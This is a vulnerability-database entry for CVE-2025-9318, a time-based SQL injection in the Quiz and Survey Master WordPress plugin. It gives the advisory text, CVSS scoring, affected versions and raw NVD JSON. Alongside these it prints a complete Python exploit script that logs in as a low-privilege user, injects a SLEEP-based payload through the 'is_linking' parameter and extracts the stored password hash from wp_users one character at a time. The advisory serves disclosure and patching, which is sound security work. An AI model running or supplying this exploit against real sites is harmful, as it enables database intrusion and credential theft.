Security Vulnerability Report
中文
CVE-2025-9318 CVSS 6.5 MEDIUM

CVE-2025-9318

Published: 2026-01-06 10:15:49
Last Modified: 2026-01-09 13:24:30

Description

The Quiz and Survey Master (QSM) – Easy Quiz and Survey Maker plugin for WordPress is vulnerable to time-based SQL Injection via the ‘is_linking’ parameter in all versions up to, and including, 10.3.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:expresstech:quiz_and_survey_master:*:*:*:*:*:wordpress:*:* - VULNERABLE
Quiz and Survey Master (QSM) <= 10.3.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-9318 PoC - WordPress QSM Plugin SQL Injection Tested on QSM <= 10.3.1 """ import requests import argparse import string import time def exploit_sqli(url, username, password, target_char, position): """ Time-based SQL Injection PoC Extracts data character by character based on response time """ # Login to WordPress session = requests.Session() login_url = f"{url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': f"{url}/wp-admin/", 'testcookie': '1' } session.post(login_url, data=login_data) # Prepare malicious request with time-based SQL injection # Target: Extract database user password hash target_payload = f"1' AND (SELECT CASE WHEN (SUBSTRING((SELECT user_pass FROM wp_users LIMIT 1),{position},1)='{target_char}') THEN SLEEP(5) ELSE 0 END) AND '1'='1" # REST API endpoint vulnerable api_url = f"{url}/wp-json/qsm/v1/quizzes" headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'X-WP-Nonce': session.cookies.get('wordpress_test_cookie') or '' } data = { 'is_linking': target_payload } start_time = time.time() try: response = session.post(api_url, data=data, headers=headers, timeout=10) except requests.exceptions.Timeout: return True elapsed = time.time() - start_time # If response took > 5 seconds, the condition was true return elapsed > 5 def main(): parser = argparse.ArgumentParser(description='CVE-2025-9318 SQL Injection PoC') parser.add_argument('-u', '--url', required=True, help='WordPress site URL') parser.add_argument('-username', '--username', required=True, help='WordPress username') parser.add_argument('-password', '--password', required=True, help='WordPress password') parser.add_argument('-o', '--output', help='Output file for extracted data') args = parser.parse_args() print(f"[*] Testing CVE-2025-9318 on {args.url}") print("[*] Target: WordPress QSM Plugin <= 10.3.1") print("[*] Vulnerability: Time-based SQL Injection via is_linking parameter") # Character set for brute force charset = string.ascii_lowercase + string.digits + string.ascii_uppercase + './:;@[]' extracted = "" position = 1 max_length = 100 while position <= max_length: found = False for char in charset: print(f"[*] Testing position {position}: {char}", end='\r') try: if exploit_sqli(args.url, args.username, args.password, char, position): extracted += char print(f"\n[+] Found character at position {position}: {char}") print(f"[+] Current extraction: {extracted}") found = True break except Exception as e: print(f"\n[-] Error: {e}") break if not found: print(f"\n[!] No more characters found at position {position}") break position += 1 print(f"\n[+] Final extraction: {extracted}") if args.output: with open(args.output, 'w') as f: f.write(extracted) print(f"[+] Results saved to {args.output}") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-9318", "sourceIdentifier": "[email protected]", "published": "2026-01-06T10:15:48.780", "lastModified": "2026-01-09T13:24:30.493", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Quiz and Survey Master (QSM) – Easy Quiz and Survey Maker plugin for WordPress is vulnerable to time-based SQL Injection via the ‘is_linking’ parameter in all versions up to, and including, 10.3.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:expresstech:quiz_and_survey_master:*:*:*:*:*:wordpress:*:*", "versionEndExcluding": "10.3.2", "matchCriteriaId": "7AECAB11-6DCA-4FCF-B614-133BB680CF29"}]}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/quiz-master-next/tags/10.2.6/php/rest-api.php#L533", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/e6524e66-5bd1-4616-8185-c0501a09893e?source=cve", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}